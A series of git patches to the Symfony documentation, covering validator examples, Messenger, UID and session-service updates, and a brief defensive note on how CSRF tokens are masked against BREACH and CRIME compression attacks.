@@ -94,6 +94,20 @@ you can retrieve a workflow from it and use it as follows::
     $workflow->can($blogPost, 'publish'); // True
     $workflow->getEnabledTransitions($blogPost); // $blogPost can perform transition "publish" or "reject"
 
+Initialization
+--------------
+
+If the property of your object is ``null`` and you want to set it with the
+``initial_marking`` from the configuration, you can call the ``getMarking()``
+method to initialize the object property::
+
+    // ...
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
 Learn more
 ----------
 

From 29a254533cf8ad5253fc7b68a8652bba4ba6ebba Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 23 Jan 2021 14:37:04 +0100
Subject: [PATCH 0417/5766] [Validator] Use double quotes instead of single

---
 reference/constraints/IsFalse.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 861072a1250..e476fb25387 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -97,7 +97,7 @@ method returns **false**:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => 'You've entered an invalid state.',
+                    'message' => "You've entered an invalid state.",
                 ]));
             }
         }

From 9db655a618a1421fe879ab215b9396b6324fe882 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 23 Jan 2021 11:08:47 +0100
Subject: [PATCH 0418/5766] [Validator] Use constant instead of magic string

---
 reference/constraints/CardScheme.rst | 2 +-
 reference/constraints/Isbn.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index d93224e1a5a..1a196970525 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -101,7 +101,7 @@ on an object that will contain a credit card number.
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
-                        'VISA',
+                        Assert\CardScheme::VISA,
                     ],
                     'message' => 'Your credit card number is invalid.',
                 ]));
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 2865ceffafe..9bfab789825 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -100,7 +100,7 @@ on an object that will contain an ISBN.
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => 'isbn10',
+                    'type' => Assert\Isbn::ISBN_10,
                     'message' => 'This value is not valid.',
                 ]));
             }

From 0b715dee94dab45fca4c414153427c40b5254335 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 24 Jan 2021 19:08:00 +0100
Subject: [PATCH 0419/5766] [Validator] Use single quotes for string

---
 reference/constraints/Sequentially.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 39424a6c523..21e088ba689 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -120,7 +120,7 @@ You can validate each of these constraints sequentially to solve these issues:
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
-                    new Assert\Type("string"),
+                    new Assert\Type('string'),
                     new Assert\Length(['min' => 10]),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),

From a423947869694a15b914431373643a1b25b62b73 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 24 Jan 2021 19:33:51 +0100
Subject: [PATCH 0420/5766] [Validator] Change the example to be consistent
 with the rest

Other examples do not use key 'value'.
---
 reference/constraints/AtLeastOneOf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index b69894184d6..fb29a86f8d8 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -141,7 +141,7 @@ The following constraints ensure that:
                         new Assert\Count(['min' => 3]),
                         new Assert\All([
                             'constraints' => [
-                                new Assert\GreaterThanOrEqual(['value' => 5]),
+                                new Assert\GreaterThanOrEqual(5),
                             ],
                         ]),
                     ],

From a1c303bfb4dbd0586763ad4f8232673d5b042f24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 23 Jan 2021 21:37:54 +0100
Subject: [PATCH 0421/5766] Add documentation about breach

---
 security/csrf.rst | 17 ++++++++++++++++-
 1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index ac8e840c978..7058fb88478 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -85,7 +85,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -162,4 +162,19 @@ to check its validity::
         }
     }
 
+CSRF Tokens and Compression Side-Channel Attacks
+------------------------------------------------
+
+`BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
+compression. Attacker can leverage information leaked by compression to recover
+targeted parts of the plaintext. To mitigate these attacks, and prevent an
+attacker from guessing the CSRF tokens, a random mask is prepended to the token
+and used to scramble it.
+
+.. versionadded:: 5.3
+
+    The randomization of tokens was introduced in Symfony 5.3
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
+.. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
+.. _`CRIME`: https://en.wikipedia.org/wiki/CRIME

From 56add0114806c646c7a78b2ee85a52ae86f32eae Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 25 Jan 2021 17:38:42 +0100
Subject: [PATCH 0422/5766] [Notifier] Add clickatell

Fix #14880.
---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index a2072e79c13..7231080d47e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,6 +57,7 @@ with a couple popular SMS services:
 Service     Package                           DSN
 ==========  ================================  ====================================================
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
+Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
@@ -82,7 +83,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush and AllMySms integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms and Clickatell integrations were
+    introduced in Symfony 5.3.
 
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 86b2834fe361656f83972527d2082e16b398431b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marek=20Barto=C5=A1?= <bartos.developer152@gmail.com>
Date: Mon, 25 Jan 2021 23:40:14 +0100
Subject: [PATCH 0423/5766] Fix select & plural message format

---
 translation/message_format.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 218d479d795..4e637a4335e 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -256,27 +256,24 @@ Usage of this string is the same as with variables and select::
     .. code-block:: text
 
         {gender_of_host, select,
-            female {
-                {num_guests, plural, offset:1
+            female {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to her party.}
                 =2    {{host} invites {guest} and one other person to her party.}
-                other {{host} invites {guest} and # other people to her party.}}
-            }
-            male {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to her party.}
+            }}
+            male {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to his party.}
                 =2    {{host} invites {guest} and one other person to his party.}
-                other {{host} invites {guest} and # other people to his party.}}
-            }
-            other {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to his party.}
+            }}
+            other {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to their party.}
                 =2    {{host} invites {guest} and one other person to their party.}
-                other {{host} invites {guest} and # other people to their party.}}
-            }
+                other {{host} invites {guest} and # other people to their party.}
+            }}
         }
 
 .. sidebar:: Using Ranges in Messages

From 0770446f44fc64ce450dc7780f4dd0c02d5011d1 Mon Sep 17 00:00:00 2001
From: Frankie Wittevrongel <frankie@cupoftea.io>
Date: Tue, 26 Jan 2021 12:44:07 +0000
Subject: [PATCH 0424/5766] Add bright colors to console.

---
 console/coloring.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 913805b5cea..9412511e11f 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -46,7 +46,9 @@ It is possible to define your own styles using the
     $output->writeln('<fire>foo</>');
 
 Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
-``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan``, ``white``,
+``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
+``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
 .. versionadded:: 5.2
 

From ff3b2443c29f6fe91c71bbd38b0aed269d96c5d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jan 2021 16:52:46 +0100
Subject: [PATCH 0425/5766] Minor tweak

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 7058fb88478..47b9396d285 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -166,7 +166,7 @@ CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 
 `BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
-compression. Attacker can leverage information leaked by compression to recover
+compression. Attackers can leverage information leaked by compression to recover
 targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.

From 55c567603856bc0e353e774645b3a047d84b8177 Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Thu, 21 Jan 2021 22:15:50 +0100
Subject: [PATCH 0426/5766] [Validator] Use PHP attributes when creating custom
 validation constraints

---
 validation/custom_constraint.rst | 72 +++++++++++++++++++++++++++-----
 1 file changed, 61 insertions(+), 11 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c6c588452c4..9cecde12b8a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -12,20 +12,43 @@ alphanumeric characters.
 Creating the Constraint Class
 -----------------------------
 
-First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
+First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`:
 
-    // src/Validator/ContainsAlphanumeric.php
-    namespace App\Validator;
+.. configuration-block::
 
-    use Symfony\Component\Validator\Constraint;
+    .. code-block:: php-annotations
 
-    /**
-     * @Annotation
-     */
-    class ContainsAlphanumeric extends Constraint
-    {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-    }
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 .. note::
 
@@ -128,6 +151,25 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\ContainsAlphanumeric]
+            protected $name;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -241,6 +283,14 @@ not to the property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        #[AcmeAssert\ProtocolClass]
+        class AcmeEntity
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 62a317b2a52e1d11036992aeb69518ae12d107d5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 27 Jan 2021 16:55:14 +0100
Subject: [PATCH 0427/5766] [Lock] Fix grammar issue

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 7b2c131947d..16049101e10 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -676,7 +676,7 @@ can be two running containers in parallel.
 .. caution::
 
     All concurrent processes must use the same machine. Before starting a
-    concurrent process on a new machine, check that other process are stopped
+    concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
 .. caution::

From e73e9231bd9276372171857720037376849596d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dan=20Michael=20O=2E=20Hegg=C3=B8?= <danmichaelo@gmail.com>
Date: Wed, 27 Jan 2021 22:10:28 +0100
Subject: [PATCH 0428/5766] [Messenger] More on unique Redis consumer names

---
 messenger.rst | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 45499c14490..733365c3800 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -619,7 +619,18 @@ times:
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
-and ``user`` to the Unix user on your server. Next, tell Supervisor to read your
+and ``user`` to the Unix user on your server.
+
+If you use the Redis Transport, note that each worker needs a unique consumer name to
+avoid the same message being handled by multiple workers. One way to achieve this is
+to set an environment variable in the Supervisor configuration file, which you can
+then refer to in `messenger.yaml` (see Redis section above):
+
+.. code-block:: ini
+
+    environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
+
+Next, tell Supervisor to read your
 config and start your workers:
 
 .. code-block:: terminal
@@ -1209,9 +1220,13 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
-    config (stream, group and consumer name) to avoid having a message handled more than once.
-    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
-    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
+    combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
+    handled more than once. If you run multiple queue workers, ``consumer` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%`)` set by Supervisor
+    (example below) or whatever service used to manage the worker processes.
+    In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
+    there is only one worker per container/host. If using Kubernetes to orchestrate the
+    containers, consider using a ``StatefulSet`` to have stable names.
 
 .. tip::
 

From f0e6261484a12c68f8b500ac9495ccf602c13b38 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Jan 2021 07:57:37 +0100
Subject: [PATCH 0429/5766] Remove experimental for UID

Fix #14890
---
 components/uid.rst | 15 +++++++--------
 notifier.rst       |  2 +-
 2 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index a7fb95d5d2f..076946c7756 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------
@@ -157,12 +156,12 @@ entity primary keys::
         private $id;
 
         // ...
-        
+
         public function getId(): ?Uuid
         {
             return $this->id;
         }
-        
+
         // ...
     }
 
@@ -287,7 +286,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
-    use Symfony\Component\Uid\Ulid;    
+    use Symfony\Component\Uid\Ulid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -303,14 +302,14 @@ entity primary keys::
         private $id;
 
         // ...
-        
+
         public function getId(): ?Ulid
         {
             return $this->id;
         }
-        
+
         // ...
-        
+
     }
 
 .. versionadded:: 5.2
diff --git a/notifier.rst b/notifier.rst
index 7231080d47e..6845900b11b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,7 +16,7 @@ the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these
 channels. It provides a dynamic way to manage how the messages are sent.
 Get the Notifier installed using:
-
+uid
 .. code-block:: terminal
 
     $ composer require symfony/notifier

From 1c6c658627db640955982e8e2aad1265924e97b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 08:54:34 +0100
Subject: [PATCH 0430/5766] Removed unneeded text

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6845900b11b..7231080d47e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,7 +16,7 @@ the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these
 channels. It provides a dynamic way to manage how the messages are sent.
 Get the Notifier installed using:
-uid
+
 .. code-block:: terminal
 
     $ composer require symfony/notifier

From 5ff7cc7486530647a46951b6189bee23717f09f7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Jan 2021 09:06:50 +0100
Subject: [PATCH 0431/5766] Remove experimental mention in lowest branch

Follows #14891
---
 components/uid.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 9a097a3e675..b0ba7259b87 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------

From d0c1a24752df5048a3910e67985884da8a41e618 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 09:15:02 +0100
Subject: [PATCH 0432/5766] [Uid] Document the getDateTime() method

---
 components/uid.rst | 18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 076946c7756..adda64b8029 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -96,9 +96,9 @@ UUID objects created with the ``Uuid`` class can use the following methods
     $uuid = Uuid::v4();
     $uuid instanceof UuidV4; // true
 
-    // getting the UUID time (it's only available in certain UUID types)
+    // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getTime();  // e.g. float(1584111384.2613)
+    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();
@@ -111,6 +111,11 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -250,14 +255,19 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // checking if a given value is valid as ULID
     $isValid = Ulid::isValid($ulidValue); // true or false
 
-    // getting the ULID time
-    $ulid1->getTime(); // e.g. float(1584111384.2613)
+    // getting the ULID datetime
+    $ulid1->getDateTime(); // returns a \DateTimeImmutable instance
 
     // comparing ULIDs and checking for equality
     $ulid1->equals($ulid2); // false
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 1b61792e5e7ce891264f80b6c466efc3a0a7825b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 09:20:38 +0100
Subject: [PATCH 0433/5766] [Uid] Mentioned the Uuid::NAMESPACE_* constants

---
 components/uid.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 076946c7756..51f8b4021a2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -53,11 +53,22 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
+    // the namespaces defined by RFC 4122 are available as constants
+    // (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name);
+
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
+.. versionadded:: 5.3
+
+    The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
+
 If your UUID is generated by another system, use the ``fromString()`` method to
 create an object and make use of the utilities available for Symfony UUIDs::
 

From 70fe3795c8bb33fcabe016f5a2a8c91cd158f803 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Thu, 28 Jan 2021 15:41:22 +0100
Subject: [PATCH 0434/5766] Mark semaphore exeperimental

---
 components/semaphore.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..614c38a6bd9 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -10,7 +10,8 @@ The Semaphore Component
 
 .. versionadded:: 5.2
 
-    The Semaphore Component was introduced in Symfony 5.2.
+    The Semaphore Component was introduced in Symfony 5.2 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
 
 Installation
 ------------

From be512a89aa9fc34116b51d2ae8c1fce74ec88eca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Thu, 28 Jan 2021 19:20:54 +0100
Subject: [PATCH 0435/5766] Update documentation for deprecated session service

---
 components/http_foundation.rst     |  3 +-
 controller.rst                     |  2 +-
 logging/processors.rst             | 23 +++++++------
 quick_tour/the_architecture.rst    |  3 --
 security/access_denied_handler.rst |  7 ++--
 security/form_login_setup.rst      | 10 +-----
 service_container.rst              |  8 +----
 session.rst                        | 55 +++++++++++++++++++++---------
 session/locale_sticky_session.rst  | 10 +++---
 9 files changed, 64 insertions(+), 57 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 23d8e9a6809..e00f9dabb7b 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -247,7 +247,8 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method;
+:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method or the
+:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method;
 the
 :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..a5017452832 100644
--- a/controller.rst
+++ b/controller.rst
@@ -394,7 +394,7 @@ Request object.
 Managing the Session
 --------------------
 
-Symfony provides a session service that you can use to store information
+Symfony provides a session object that you can use to store information
 about the user between requests. Session is enabled by default, but will only be
 started if you read or write from it.
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 8ba965327b2..c0a3eb33bbf 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,30 +19,33 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SessionRequestProcessor
     {
-        private $session;
-        private $sessionId;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         // this method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
-            if (!$this->session->isStarted()) {
+            try {
+                $session = $requestStack->getSession();
+            } catch (SessionNotFoundException $e) {
+                return;
+            }
+            if (!$session->isStarted()) {
                 return $record;
             }
 
-            if (!$this->sessionId) {
-                $this->sessionId = substr($this->session->getId(), 0, 8) ?: '????????';
-            }
+            $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $this->sessionId.'-'.substr(uniqid('', true), -8);
+            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index d88bb5d32ed..e3b388a0bc4 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -72,9 +72,6 @@ What other possible classes or interfaces could you use? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 42ee7fe5dd9..2a7566fafed 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -28,7 +28,6 @@ unauthenticated user tries to access a protected resource::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
@@ -36,18 +35,16 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         private $urlGenerator;
-        private $session;
 
-        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
             $this->urlGenerator = $urlGenerator;
-            $this->session = $session;
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
-            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+            $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
 
             return new RedirectResponse($this->urlGenerator->generate('security_login'));
         }
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index c7ea359c459..1d269eba380 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -477,7 +477,6 @@ whenever the user browses a page::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Event\RequestEvent;
     use Symfony\Component\HttpKernel\KernelEvents;
     use Symfony\Component\Security\Http\Util\TargetPathTrait;
